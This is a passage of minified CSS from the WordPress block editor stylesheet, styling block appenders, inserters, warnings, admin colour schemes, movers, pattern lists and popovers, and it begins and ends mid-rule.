dashed;border-radius:2px;bottom:0;content:"";left:0;pointer-events:none;position:absolute;right:0;top:0}.block-editor-block-list__block:not(.is-selected)>.is-layout-constrained.wp-block-group__inner-container>.block-list-appender:only-child:after:before,.block-editor-block-list__block:not(.is-selected)>.is-layout-flow.wp-block-group__inner-container>.block-list-appender:only-child:after:before,.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child:after:before,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child:after:before{background:currentColor;bottom:0;content:"";left:0;opacity:.1;pointer-events:none;position:absolute;right:0;top:0}.block-editor-block-list__block:not(.is-selected)>.is-layout-constrained.wp-block-group__inner-container>.block-list-appender:only-child .block-editor-inserter,.block-editor-block-list__block:not(.is-selected)>.is-layout-flow.wp-block-group__inner-container>.block-list-appender:only-child .block-editor-inserter,.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child .block-editor-inserter,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child .block-editor-inserter{visibility:hidden}.block-editor-block-list__block:not(.is-selected)>.is-layout-constrained.wp-block-group__inner-container>.block-list-appender:only-child.is-drag-over:after,.block-editor-block-list__block:not(.is-selected)>.is-layout-flow.wp-block-group__inner-container>.block-list-appender:only-child.is-drag-over:after,.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child.is-drag-over:after,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child.is-drag-over:after{border:none}.block-editor-block-list__block:not(.is-selected)>.is-layout-constrained.wp-block-group__inner-container>.block-list-appender:only-child.is-drag-over .block-editor-inserter,.block-editor-block-list__block:not(.is-selected)>.is-layout-flow.wp-block-group__inner-container>.block-list-appender:only-child.is-drag-over .block-editor-inserter,.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child.is-drag-over .block-editor-inserter,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child.is-drag-over .block-editor-inserter{visibility:visible}.block-editor-block-list__block:not(.is-selected)>.block-editor-block-list__block>.block-list-appender:only-child:after{border:none}.block-list-appender:only-child.is-drag-over .block-editor-button-block-appender{background-color:var(--wp-admin-theme-color);box-shadow:inset 0 0 0 1px #ffffffa6;color:#ffffffa6;transition:background-color .2s ease-in-out}@media (prefers-reduced-motion:reduce){.block-list-appender:only-child.is-drag-over .block-editor-button-block-appender{transition:none}}.block-editor-default-block-appender{clear:both;margin-left:auto;margin-right:auto;position:relative}.block-editor-default-block-appender[data-root-client-id=""] .block-editor-default-block-appender__content:hover{outline:1px solid #0000}.block-editor-default-block-appender .block-editor-default-block-appender__content{opacity:.62}:where(body .is-layout-constrained) .block-editor-default-block-appender>:first-child:first-child{margin-block-start:0}.block-editor-default-block-appender .components-drop-zone__content-icon{display:none}.block-editor-default-block-appender .block-editor-inserter__toggle.components-button.has-icon{background:#1e1e1e;border-radius:2px;color:#fff;height:24px;min-width:24px;padding:0}.block-editor-default-block-appender .block-editor-inserter__toggle.components-button.has-icon:hover{background:var(--wp-admin-theme-color);color:#fff}.block-editor-block-list__empty-block-inserter.block-editor-block-list__empty-block-inserter,.block-editor-default-block-appender .block-editor-inserter{line-height:0;position:absolute;right:0;top:0}.block-editor-block-list__empty-block-inserter.block-editor-block-list__empty-block-inserter:disabled,.block-editor-default-block-appender .block-editor-inserter:disabled{display:none}.block-editor-block-list__block .block-list-appender{bottom:0;list-style:none;padding:0;position:absolute;right:0;z-index:2}.block-editor-block-list__block .block-list-appender.block-list-appender{line-height:0;margin:0}.block-editor-block-list__block .block-list-appender .block-editor-default-block-appender{height:24px}.block-editor-block-list__block .block-list-appender .block-editor-inserter__toggle.components-button.has-icon,.block-editor-block-list__block .block-list-appender .block-list-appender__toggle{background:#1e1e1e;box-shadow:none;color:#fff;display:none;flex-direction:row;height:24px;min-width:24px;padding:0!important;width:24px}.block-editor-block-list__block .block-list-appender .block-editor-inserter__toggle.components-button.has-icon:hover,.block-editor-block-list__block .block-list-appender .block-list-appender__toggle:hover{background:var(--wp-admin-theme-color);color:#fff}.block-editor-block-list__block .block-list-appender .block-editor-default-block-appender__content{display:none}.block-editor-block-list__block .block-list-appender:only-child{align-self:center;line-height:inherit;list-style:none;position:relative;right:auto}.block-editor-block-list__block .block-list-appender:only-child .block-editor-default-block-appender__content{display:block}.block-editor-block-list__block.is-selected .block-editor-block-list__layout>.block-list-appender .block-editor-inserter__toggle.components-button.has-icon,.block-editor-block-list__block.is-selected .block-editor-block-list__layout>.block-list-appender .block-list-appender__toggle,.block-editor-block-list__block.is-selected>.block-list-appender .block-editor-inserter__toggle.components-button.has-icon,.block-editor-block-list__block.is-selected>.block-list-appender .block-list-appender__toggle{display:flex}.block-editor-default-block-appender__content{cursor:text}.block-editor-block-list__layout.has-overlay:after{bottom:0;content:"";left:0;position:absolute;right:0;top:0;z-index:60}.block-editor-media-placeholder__url-input-container .block-editor-media-placeholder__button{margin-bottom:0}.block-editor-media-placeholder__url-input-form{display:flex}.block-editor-media-placeholder__url-input-form input[type=url].block-editor-media-placeholder__url-input-field{border:none;border-radius:0;flex-grow:1;margin:2px;min-width:200px;width:100%}@media (min-width:600px){.block-editor-media-placeholder__url-input-form input[type=url].block-editor-media-placeholder__url-input-field{width:300px}}.block-editor-media-placeholder__url-input-submit-button{flex-shrink:1}.block-editor-media-placeholder__button{margin-bottom:.5rem}.block-editor-media-placeholder__cancel-button.is-link{display:block;margin:1em}.block-editor-media-placeholder.is-appender{min-height:0}.block-editor-media-placeholder.is-appender:hover{box-shadow:0 0 0 1px var(--wp-admin-theme-color);cursor:pointer}.block-editor-plain-text{border:none;box-shadow:none;color:inherit;font-family:inherit;font-size:inherit;line-height:inherit;margin:0;padding:0;width:100%}.rich-text [data-rich-text-placeholder]{pointer-events:none}.rich-text [data-rich-text-placeholder]:after{content:attr(data-rich-text-placeholder);opacity:.62}.rich-text:focus{outline:none}.rich-text:focus [data-rich-text-format-boundary]{border-radius:2px}.block-editor-rich-text__editable>p:first-child{margin-top:0}figcaption.block-editor-rich-text__editable [data-rich-text-placeholder]:before{opacity:.8}[data-rich-text-script]{display:inline}[data-rich-text-script]:before{background:#ff0;content:"</>"}.block-editor-warning{align-items:center;background-color:#fff;border:1px solid #1e1e1e;border-radius:2px;display:flex;flex-wrap:wrap;padding:1em}.block-editor-warning,.block-editor-warning .block-editor-warning__message{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif}.block-editor-warning .block-editor-warning__message{color:#1e1e1e;font-size:13px;line-height:1.4;margin:0}.block-editor-warning p.block-editor-warning__message.block-editor-warning__message{min-height:auto}.block-editor-warning .block-editor-warning__contents{align-items:baseline;display:flex;flex-direction:row;flex-wrap:wrap;justify-content:space-between;width:100%}.block-editor-warning .block-editor-warning__actions{align-items:center;display:flex;margin-top:1em}.block-editor-warning .block-editor-warning__action{margin:0 8px 0 0}.block-editor-warning__secondary{margin:auto 0 auto 8px}.components-popover.block-editor-warning__dropdown{z-index:99998}body.admin-color-light{--wp-admin-theme-color:#0085ba;--wp-admin-theme-color--rgb:0,133,186;--wp-admin-theme-color-darker-10:#0073a1;--wp-admin-theme-color-darker-10--rgb:0,115,161;--wp-admin-theme-color-darker-20:#006187;--wp-admin-theme-color-darker-20--rgb:0,97,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-light{--wp-admin-border-width-focus:1.5px}}body.admin-color-modern{--wp-admin-theme-color:#3858e9;--wp-admin-theme-color--rgb:56,88,233;--wp-admin-theme-color-darker-10:#2145e6;--wp-admin-theme-color-darker-10--rgb:33,69,230;--wp-admin-theme-color-darker-20:#183ad6;--wp-admin-theme-color-darker-20--rgb:24,58,214;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-modern{--wp-admin-border-width-focus:1.5px}}body.admin-color-blue{--wp-admin-theme-color:#096484;--wp-admin-theme-color--rgb:9,100,132;--wp-admin-theme-color-darker-10:#07526c;--wp-admin-theme-color-darker-10--rgb:7,82,108;--wp-admin-theme-color-darker-20:#064054;--wp-admin-theme-color-darker-20--rgb:6,64,84;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-blue{--wp-admin-border-width-focus:1.5px}}body.admin-color-coffee{--wp-admin-theme-color:#46403c;--wp-admin-theme-color--rgb:70,64,60;--wp-admin-theme-color-darker-10:#383330;--wp-admin-theme-color-darker-10--rgb:56,51,48;--wp-admin-theme-color-darker-20:#2b2724;--wp-admin-theme-color-darker-20--rgb:43,39,36;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-coffee{--wp-admin-border-width-focus:1.5px}}body.admin-color-ectoplasm{--wp-admin-theme-color:#523f6d;--wp-admin-theme-color--rgb:82,63,109;--wp-admin-theme-color-darker-10:#46365d;--wp-admin-theme-color-darker-10--rgb:70,54,93;--wp-admin-theme-color-darker-20:#3a2c4d;--wp-admin-theme-color-darker-20--rgb:58,44,77;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-ectoplasm{--wp-admin-border-width-focus:1.5px}}body.admin-color-midnight{--wp-admin-theme-color:#e14d43;--wp-admin-theme-color--rgb:225,77,67;--wp-admin-theme-color-darker-10:#dd382d;--wp-admin-theme-color-darker-10--rgb:221,56,45;--wp-admin-theme-color-darker-20:#d02c21;--wp-admin-theme-color-darker-20--rgb:208,44,33;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-midnight{--wp-admin-border-width-focus:1.5px}}body.admin-color-ocean{--wp-admin-theme-color:#627c83;--wp-admin-theme-color--rgb:98,124,131;--wp-admin-theme-color-darker-10:#576e74;--wp-admin-theme-color-darker-10--rgb:87,110,116;--wp-admin-theme-color-darker-20:#4c6066;--wp-admin-theme-color-darker-20--rgb:76,96,102;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-ocean{--wp-admin-border-width-focus:1.5px}}body.admin-color-sunrise{--wp-admin-theme-color:#dd823b;--wp-admin-theme-color--rgb:221,130,59;--wp-admin-theme-color-darker-10:#d97426;--wp-admin-theme-color-darker-10--rgb:217,116,38;--wp-admin-theme-color-darker-20:#c36922;--wp-admin-theme-color-darker-20--rgb:195,105,34;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-sunrise{--wp-admin-border-width-focus:1.5px}}@charset "UTF-8";:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:#9747ff}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.block-editor-autocompleters__block{white-space:nowrap}.block-editor-autocompleters__block .block-editor-block-icon{margin-left:8px}.block-editor-autocompleters__link{white-space:nowrap}.block-editor-autocompleters__link .block-editor-block-icon{margin-left:8px}.block-editor-block-alignment-control__menu-group .components-menu-item__info{margin-top:0}.block-editor-block-bindings-toolbar-indicator{align-items:center;display:inline-flex;height:48px;padding:6px}.block-editor-block-bindings-toolbar-indicator svg g{stroke:var(--wp-bound-block-color);fill:#0000;stroke-width:1.5;stroke-linecap:round;stroke-linejoin:round}iframe[name=editor-canvas]{display:block;height:100%;width:100%}iframe[name=editor-canvas]:not(.has-editor-padding){background-color:#fff}iframe[name=editor-canvas].has-editor-padding{padding:24px 24px 0}.block-editor-block-icon{align-items:center;display:flex;height:24px;justify-content:center;width:24px}.block-editor-block-icon.has-colors svg{fill:currentColor}@media (forced-colors:active){.block-editor-block-icon.has-colors svg{fill:CanvasText}}.block-editor-block-icon svg{max-height:24px;max-width:24px;min-height:20px;min-width:20px}.block-editor-block-inspector p:not(.components-base-control__help){margin-top:0}.block-editor-block-inspector h2,.block-editor-block-inspector h3{color:#1e1e1e;font-size:13px;margin-bottom:1.5em}.block-editor-block-inspector .components-base-control{margin-bottom:24px}.block-editor-block-inspector .components-base-control:last-child{margin-bottom:8px}.block-editor-block-inspector .components-focal-point-picker-control .components-base-control,.block-editor-block-inspector .components-query-controls .components-base-control,.block-editor-block-inspector .components-range-control .components-base-control{margin-bottom:0}.block-editor-block-inspector .components-panel__body{border:none;border-top:1px solid #e0e0e0;margin-top:-1px}.block-editor-block-inspector__no-block-tools,.block-editor-block-inspector__no-blocks{background:#fff;display:block;font-size:13px;padding:32px 16px;text-align:center}.block-editor-block-inspector__no-block-tools{border-top:1px solid #ddd}.block-editor-block-inspector__tab-item{flex:1 1 0px}.block-editor-block-list__insertion-point{bottom:0;left:0;position:absolute;right:0;top:0}.block-editor-block-list__insertion-point-indicator{background:var(--wp-admin-theme-color);border-radius:2px;opacity:0;position:absolute;transform-origin:center;will-change:transform,opacity}.block-editor-block-list__insertion-point.is-vertical>.block-editor-block-list__insertion-point-indicator{height:4px;top:calc(50% - 2px);width:100%}.block-editor-block-list__insertion-point.is-horizontal>.block-editor-block-list__insertion-point-indicator{bottom:0;right:calc(50% - 2px);top:0;width:4px}.block-editor-block-list__insertion-point-inserter{display:none;justify-content:center;position:absolute;right:calc(50% - 12px);top:calc(50% - 12px);will-change:transform}@media (min-width:480px){.block-editor-block-list__insertion-point-inserter{display:flex}}.block-editor-block-list__block-side-inserter-popover .components-popover__content>div{pointer-events:none}.block-editor-block-list__block-side-inserter-popover .components-popover__content>div>*{pointer-events:all}.block-editor-block-list__empty-block-inserter .block-editor-inserter__toggle.components-button.has-icon,.block-editor-block-list__insertion-point-inserter .block-editor-inserter__toggle.components-button.has-icon{background:#1e1e1e;border-radius:2px;color:#fff;height:24px;min-width:24px;padding:0}.block-editor-block-list__empty-block-inserter .block-editor-inserter__toggle.components-button.has-icon:hover,.block-editor-block-list__insertion-point-inserter .block-editor-inserter__toggle.components-button.has-icon:hover{background:var(--wp-admin-theme-color);color:#fff}.block-editor-block-list__insertion-point-inserter .block-editor-inserter__toggle.components-button.has-icon{background:var(--wp-admin-theme-color)}.block-editor-block-list__insertion-point-inserter .block-editor-inserter__toggle.components-button.has-icon:hover{background:#1e1e1e}.block-editor-block-list__block-selection-button{background-color:#1e1e1e;border-radius:2px;display:inline-flex;font-size:13px;height:48px;padding:0 12px;z-index:22}.block-editor-block-list__block-selection-button .block-editor-block-list__block-selection-button__content{align-items:center;display:inline-flex;margin:auto}.block-editor-block-list__block-selection-button .block-editor-block-list__block-selection-button__content>.components-flex__item{margin-left:6px}.block-editor-block-list__block-selection-button .components-button.has-icon.block-selection-button_drag-handle{cursor:grab;height:24px;margin-right:-2px;min-width:24px;padding:0}.block-editor-block-list__block-selection-button .components-button.has-icon.block-selection-button_drag-handle svg{min-height:18px;min-width:18px}.block-editor-block-list__block-selection-button .block-editor-block-icon{color:#fff;font-size:13px;height:48px}.block-editor-block-list__block-selection-button .components-button{color:#fff;display:flex;height:48px;min-width:36px}.block-editor-block-list__block-selection-button .components-button:focus{border:none;box-shadow:none}.block-editor-block-list__block-selection-button .components-button:active,.block-editor-block-list__block-selection-button .components-button[aria-disabled=true]:hover{color:#fff}.block-editor-block-list__block-selection-button .block-selection-button_select-button.components-button{padding:0}.block-editor-block-list__block-selection-button .block-editor-block-mover{background:unset;border:none}@keyframes hide-during-dragging{to{position:fixed;transform:translate(-9999px,9999px)}}.components-popover.block-editor-block-list__block-popover .block-editor-block-contextual-toolbar,.components-popover.block-editor-block-list__block-popover .block-editor-block-list__block-selection-button{margin-bottom:12px;margin-top:12px;pointer-events:all}.components-popover.block-editor-block-list__block-popover .block-editor-block-contextual-toolbar{border:1px solid #1e1e1e;border-radius:2px;overflow:visible;position:static;width:auto}.components-popover.block-editor-block-list__block-popover .block-editor-block-contextual-toolbar.has-parent{margin-right:56px}.show-icon-labels .components-popover.block-editor-block-list__block-popover .block-editor-block-contextual-toolbar.has-parent{margin-right:0}.components-popover.block-editor-block-list__block-popover .block-editor-block-toolbar{overflow:visible}.components-popover.block-editor-block-list__block-popover .block-editor-block-toolbar .components-toolbar,.components-popover.block-editor-block-list__block-popover .block-editor-block-toolbar .components-toolbar-group{border-left-color:#1e1e1e}.components-popover.block-editor-block-list__block-popover.is-insertion-point-visible{visibility:hidden}.is-dragging-components-draggable .components-popover.block-editor-block-list__block-popover{animation:hide-during-dragging 1ms linear forwards;opacity:0}.components-popover.block-editor-block-list__block-popover .block-editor-block-parent-selector{position:absolute;right:-57px}.components-popover.block-editor-block-list__block-popover .block-editor-block-parent-selector:before{content:""}.components-popover.block-editor-block-list__block-popover .block-editor-block-parent-selector .block-editor-block-parent-selector__button{background-color:#fff;border:1px solid #1e1e1e;padding-left:6px;padding-right:6px}.show-icon-labels .components-popover.block-editor-block-list__block-popover .block-editor-block-parent-selector .block-editor-block-parent-selector__button{padding-left:12px;padding-right:12px}.show-icon-labels .components-popover.block-editor-block-list__block-popover .block-editor-block-parent-selector{margin-right:-1px;position:relative;right:auto}.show-icon-labels .components-popover.block-editor-block-list__block-popover .block-editor-block-mover__move-button-container,.show-icon-labels .components-popover.block-editor-block-list__block-popover .block-editor-block-toolbar__block-controls .block-editor-block-mover{border-right:1px solid #1e1e1e}.is-dragging-components-draggable .components-tooltip{display:none}.block-editor-block-lock-modal{z-index:1000001}@media (min-width:600px){.block-editor-block-lock-modal .components-modal__frame{max-width:480px}}.block-editor-block-lock-modal__checklist{margin:0}.block-editor-block-lock-modal__options-title{padding:12px 0}.block-editor-block-lock-modal__options-title .components-checkbox-control__label{font-weight:600}.block-editor-block-lock-modal__checklist-item{align-items:center;display:flex;gap:12px;justify-content:space-between;margin-bottom:0;padding:12px 32px 12px 0}.block-editor-block-lock-modal__checklist-item .block-editor-block-lock-modal__lock-icon{flex-shrink:0;margin-left:12px;fill:#1e1e1e}.block-editor-block-lock-modal__checklist-item:hover{background-color:#f0f0f0;border-radius:2px}.block-editor-block-lock-modal__template-lock{border-top:1px solid #ddd;margin-top:16px;padding:12px 0}.block-editor-block-lock-modal__actions{margin-top:24px}.block-editor-block-lock-toolbar .components-button.has-icon{min-width:36px!important}.block-editor-block-toolbar__block-controls .block-editor-block-lock-toolbar{margin-right:-6px!important}.show-icon-labels .block-editor-block-toolbar__block-controls .block-editor-block-lock-toolbar{border-right:1px solid #1e1e1e;margin-left:-6px;margin-right:6px!important}.block-editor-block-breadcrumb{list-style:none;margin:0;padding:0}.block-editor-block-breadcrumb li{display:inline-flex;margin:0}.block-editor-block-breadcrumb li .block-editor-block-breadcrumb__separator{fill:currentColor;margin-left:-4px;margin-right:-4px;transform:scaleX(-1)}.block-editor-block-breadcrumb li:last-child .block-editor-block-breadcrumb__separator{display:none}.block-editor-block-breadcrumb__button.components-button{height:24px;line-height:24px;padding:0;position:relative}.block-editor-block-breadcrumb__button.components-button:hover:not(:disabled){box-shadow:none;text-decoration:underline}.block-editor-block-breadcrumb__button.components-button:focus{box-shadow:none}.block-editor-block-breadcrumb__button.components-button:focus:before{border-radius:2px;bottom:1px;box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);content:"";display:block;left:1px;outline:2px solid #0000;position:absolute;right:1px;top:1px}.block-editor-block-breadcrumb__current{cursor:default}.block-editor-block-breadcrumb__button.components-button,.block-editor-block-breadcrumb__current{color:#1e1e1e;font-size:inherit;padding:0 8px}.block-editor-block-card{align-items:flex-start;color:#1e1e1e;display:flex;padding:16px}.block-editor-block-card__content{flex-grow:1}.block-editor-block-card__title{font-weight:500}.block-editor-block-card__title.block-editor-block-card__title{font-size:13px;line-height:1.4;margin:0;padding:3px 0}.block-editor-block-card__description{display:block;font-size:13px;line-height:1.4;margin-top:4px}.block-editor-block-card .block-editor-block-icon{flex:0 0 24px;height:24px;margin-left:12px;margin-right:0;width:24px}.block-editor-block-card.is-synced .block-editor-block-icon{color:var(--wp-block-synced-color)}.block-editor-block-compare{height:auto}.block-editor-block-compare__wrapper{display:flex;padding-bottom:16px}.block-editor-block-compare__wrapper>div{display:flex;flex-direction:column;justify-content:space-between;max-width:600px;min-width:200px;padding:0 0 0 16px;width:50%}.block-editor-block-compare__wrapper>div button{float:left}.block-editor-block-compare__wrapper .block-editor-block-compare__converted{border-right:1px solid #ddd;padding-left:0;padding-right:15px}.block-editor-block-compare__wrapper .block-editor-block-compare__html{border-bottom:1px solid #ddd;color:#1e1e1e;font-family:Menlo,Consolas,monaco,monospace;font-size:12px;line-height:1.7;padding-bottom:15px}.block-editor-block-compare__wrapper .block-editor-block-compare__html span{background-color:#e6ffed;padding-bottom:3px;padding-top:3px}.block-editor-block-compare__wrapper .block-editor-block-compare__html span.block-editor-block-compare__added{background-color:#acf2bd}.block-editor-block-compare__wrapper .block-editor-block-compare__html span.block-editor-block-compare__removed{background-color:#cc1818}.block-editor-block-compare__wrapper .block-editor-block-compare__preview{padding:16px 0 0}.block-editor-block-compare__wrapper .block-editor-block-compare__preview p{font-size:12px;margin-top:0}.block-editor-block-compare__wrapper .block-editor-block-compare__action{margin-top:16px}.block-editor-block-compare__wrapper .block-editor-block-compare__heading{font-size:1em;font-weight:400;margin:.67em 0}.block-editor-block-draggable-chip-wrapper{position:absolute;right:0;top:-24px}.block-editor-block-draggable-chip{background-color:#1e1e1e;border-radius:2px;box-shadow:0 6px 8px #0000004d;color:#fff;cursor:grabbing;display:inline-flex;height:48px;padding:0 13px;position:relative;-webkit-user-select:none;user-select:none;width:max-content}.block-editor-block-draggable-chip svg{fill:currentColor}.block-editor-block-draggable-chip .block-editor-block-draggable-chip__content{justify-content:flex-start;margin:auto}.block-editor-block-draggable-chip .block-editor-block-draggable-chip__content>.components-flex__item{margin-left:6px}.block-editor-block-draggable-chip .block-editor-block-draggable-chip__content>.components-flex__item:last-child{margin-left:0}.block-editor-block-draggable-chip .block-editor-block-draggable-chip__content .block-editor-block-icon svg{min-height:18px;min-width:18px}.block-editor-block-draggable-chip .components-flex__item{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px}.block-editor-block-draggable-chip__disabled.block-editor-block-draggable-chip__disabled{align-items:center;background-color:initial;bottom:0;display:flex;justify-content:center;left:0;opacity:0;position:absolute;right:0;top:0;transition:all .1s linear .1s}.block-editor-block-draggable-chip__disabled.block-editor-block-draggable-chip__disabled .block-editor-block-draggable-chip__disabled-icon{background:#0000 linear-gradient(45deg,#0000 47.5%,#fff 0,#fff 52.5%,#0000 0);border-radius:50%;box-shadow:inset 0 0 0 1.5px #fff;display:inline-block;height:20px;padding:0;width:20px}.block-draggable-invalid-drag-token .block-editor-block-draggable-chip__disabled.block-editor-block-draggable-chip__disabled{background-color:#757575;box-shadow:0 4px 8px #0003;opacity:1}.block-editor-block-mover__move-button-container{border:none;display:flex;justify-content:center;padding:0}@media (min-width:600px){.block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover__move-button-container{flex-direction:column}.block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover__move-button-container>*{height:20px;min-width:0!important;width:100%}.block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover__move-button-container>:before{height:calc(100% - 4px)}.block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover__move-button-container .block-editor-block-mover-button.is-up-button svg{flex-shrink:0;top:3px}.block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover__move-button-container .block-editor-block-mover-button.is-down-button svg{bottom:3px;flex-shrink:0}.block-editor-block-mover.is-horizontal .block-editor-block-mover__move-button-container{width:48px}.block-editor-block-mover.is-horizontal .block-editor-block-mover__move-button-container>*{min-width:0!important;overflow:hidden;width:24px}.block-editor-block-mover.is-horizontal .block-editor-block-mover__move-button-container .block-editor-block-mover-button{padding-left:0;padding-right:0}.block-editor-block-mover.is-horizontal .block-editor-block-mover__move-button-container .block-editor-block-mover-button.is-up-button svg{right:5px}.block-editor-block-mover.is-horizontal .block-editor-block-mover__move-button-container .block-editor-block-mover-button.is-down-button svg{left:5px}}.block-editor-block-mover__drag-handle{cursor:grab}@media (min-width:600px){.block-editor-block-mover__drag-handle{min-width:0!important;overflow:hidden;width:24px}.block-editor-block-mover .block-editor-block-mover__drag-handle.has-icon.has-icon{padding-left:0;padding-right:0}}.components-button.block-editor-block-mover-button:before{animation:components-button__appear-animation .1s ease;animation-fill-mode:forwards;border-radius:2px;content:"";display:block;height:32px;left:8px;position:absolute;right:8px;z-index:-1}@media (prefers-reduced-motion:reduce){.components-button.block-editor-block-mover-button:before{animation-delay:0s;animation-duration:1ms}}.components-button.block-editor-block-mover-button:focus,.components-button.block-editor-block-mover-button:focus:before,.components-button.block-editor-block-mover-button:focus:enabled{box-shadow:none;outline:none}.components-button.block-editor-block-mover-button:focus-visible:before{box-shadow:inset 0 0 0 1px var(--wp-components-color-background,#fff),0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));outline:2px solid #0000}.block-editor-block-navigation__container{min-width:280px}.block-editor-block-navigation__label{color:#757575;font-size:11px;font-weight:500;margin:0 0 12px;text-transform:uppercase}.block-editor-block-patterns-list__list-item{cursor:pointer;margin-bottom:24px;position:relative}.block-editor-block-patterns-list__list-item.is-placeholder{min-height:100px}.block-editor-block-patterns-list__list-item[draggable=true]{cursor:grab}.block-editor-block-patterns-list__item{height:100%;scroll-margin-bottom:56px;scroll-margin-top:24px}.block-editor-block-patterns-list__item .block-editor-block-preview__container{align-items:center;border-radius:4px;display:flex;overflow:hidden}.block-editor-block-patterns-list__item .block-editor-block-patterns-list__item-title{flex-grow:1;text-align:right}.block-editor-block-patterns-list__item:hover .block-editor-block-preview__container{box-shadow:0 0 0 2px #1e1e1e}.block-editor-block-patterns-list__item:focus .block-editor-block-preview__container{box-shadow:0 0 0 var(--wp-admin-border-width-focus) #fff,0 0 0 calc(var(--wp-admin-border-width-focus)*2) #1e1e1e;outline:2px solid #0000;outline-offset:2px}.block-editor-block-patterns-list__item.block-editor-block-patterns-list__list-item-synced:focus .block-editor-block-preview__container,.block-editor-block-patterns-list__item.block-editor-block-patterns-list__list-item-synced:hover .block-editor-block-preview__container{box-shadow:0 0 0 2px var(--wp-block-synced-color),0 15px 25px #00000012}.block-editor-block-patterns-list__item .block-editor-patterns__pattern-details{align-items:center;margin-top:8px}.block-editor-block-patterns-list__item .block-editor-patterns__pattern-icon-wrapper{height:24px;min-width:24px}.block-editor-block-patterns-list__item .block-editor-patterns__pattern-icon-wrapper .block-editor-patterns__pattern-icon{fill:var(--wp-block-synced-color)}.block-editor-patterns__grid-pagination-wrapper .block-editor-patterns__grid-pagination{border-top:1px solid #2f2f2f;justify-content:center;padding:4px}.block-editor-patterns__grid-pagination-wrapper .block-editor-patterns__grid-pagination .components-button.is-tertiary{height:32px;justify-content:center;width:auto}.block-editor-patterns__grid-pagination-wrapper .block-editor-patterns__grid-pagination .components-button.is-tertiary:disabled{background:none;color:#949494}.block-editor-patterns__grid-pagination-wrapper .block-editor-patterns__grid-pagination .components-button.is-tertiary:hover:not(:disabled){background-color:#757575;color:#fff}.show-icon-labels .block-editor-patterns__grid-pagination,.show-icon-labels .block-editor-patterns__grid-pagination .block-editor-patterns__grid-pagination-next,.show-icon-labels .block-editor-patterns__grid-pagination .block-editor-patterns__grid-pagination-previous{flex-direction:column}.show-icon-labels .block-editor-patterns__grid-pagination .components-button{width:auto}.show-icon-labels .block-editor-patterns__grid-pagination .components-button span{display:none}.show-icon-labels .block-editor-patterns__grid-pagination .components-button:before{content:attr(aria-label)}.components-popover.block-editor-block-popover{margin:0!important;pointer-events:none;position:absolute;z-index:31}.components-popover.block-editor-block-popover .components-popover__content{margin:0!important;min-width:auto;overflow-y:visible;width:max-content}.components-popover.block-editor-block-popover:not(.block-editor-block-popover__inbetween,.block-editor-block-popover__drop-zone,.block-editor-block-list__block-side-inserter-popover) .components-popover__content *{pointer-events:all}.components-popover.block-editor-block-popover__inbetween,.components-popover.block-editor-block-popover__inbetween *{pointer-events:none}.components-popover.block-editor-block-popover__inbetween .is-with-inserter,.components-popover.block-editor-block-popover__inbetween .is-with-inserter *{pointer-events:all}.components-popover.block-editor-block-popover__drop-zone *{pointer-events:none}.components-popover.block-editor-block-popover__drop-zone .block-editor-block-popover__drop-zone-foreground{background-color:var(--wp-admin-theme-color);border-radius:2px;inset:0;position:absolute}.block-editor-block-preview__container{overflow:hidden;position:relative;width:100%}.block-editor-block-preview__container .block-editor-block-preview__content{margin:0;min-height:auto;overflow:visible;right:0;text-align:initial;top:0;transform-origin:top right;width:100%}.block-editor-block-preview__container .block-editor-block-preview__content .block-editor-block-list__insertion-point,.block-editor-block-preview__container .block-editor-block-preview__content .block-list-appender{display:none}.block-editor-block-preview__container:after{bottom:0;content:"";left:0;position:absolute;right:0;top:0;z-index:1}.block-editor-block-rename-modal{z-index:1000001}.block-editor-block-settings-menu__popover .components-dropdown-menu__menu{padding:0}.block-editor-block-styles+.default-style-picker__default-switcher{margin-top:16px}.block-editor-block-styles__preview-panel{display:none;z-index:90}@media (min-width:782px){.block-editor-block-styles__preview-panel{display:block}}.block-editor-block-styles__preview-panel .block-editor-block-icon{display:none}.block-editor-block-styles__variants{display:flex;flex-wrap:wrap;gap:8px;justify-content:space-between}.block-editor-block-styles__variants button.components-button.block-editor-block-styles__item{box-shadow:inset 0 0 0 1px #ddd;color:#1e1e1e;display:inline-block;width:calc(50% - 4px)}.block-editor-block-styles__variants button.components-button.block-editor-block-styles__item:hover{box-shadow:inset 0 0 0 1px 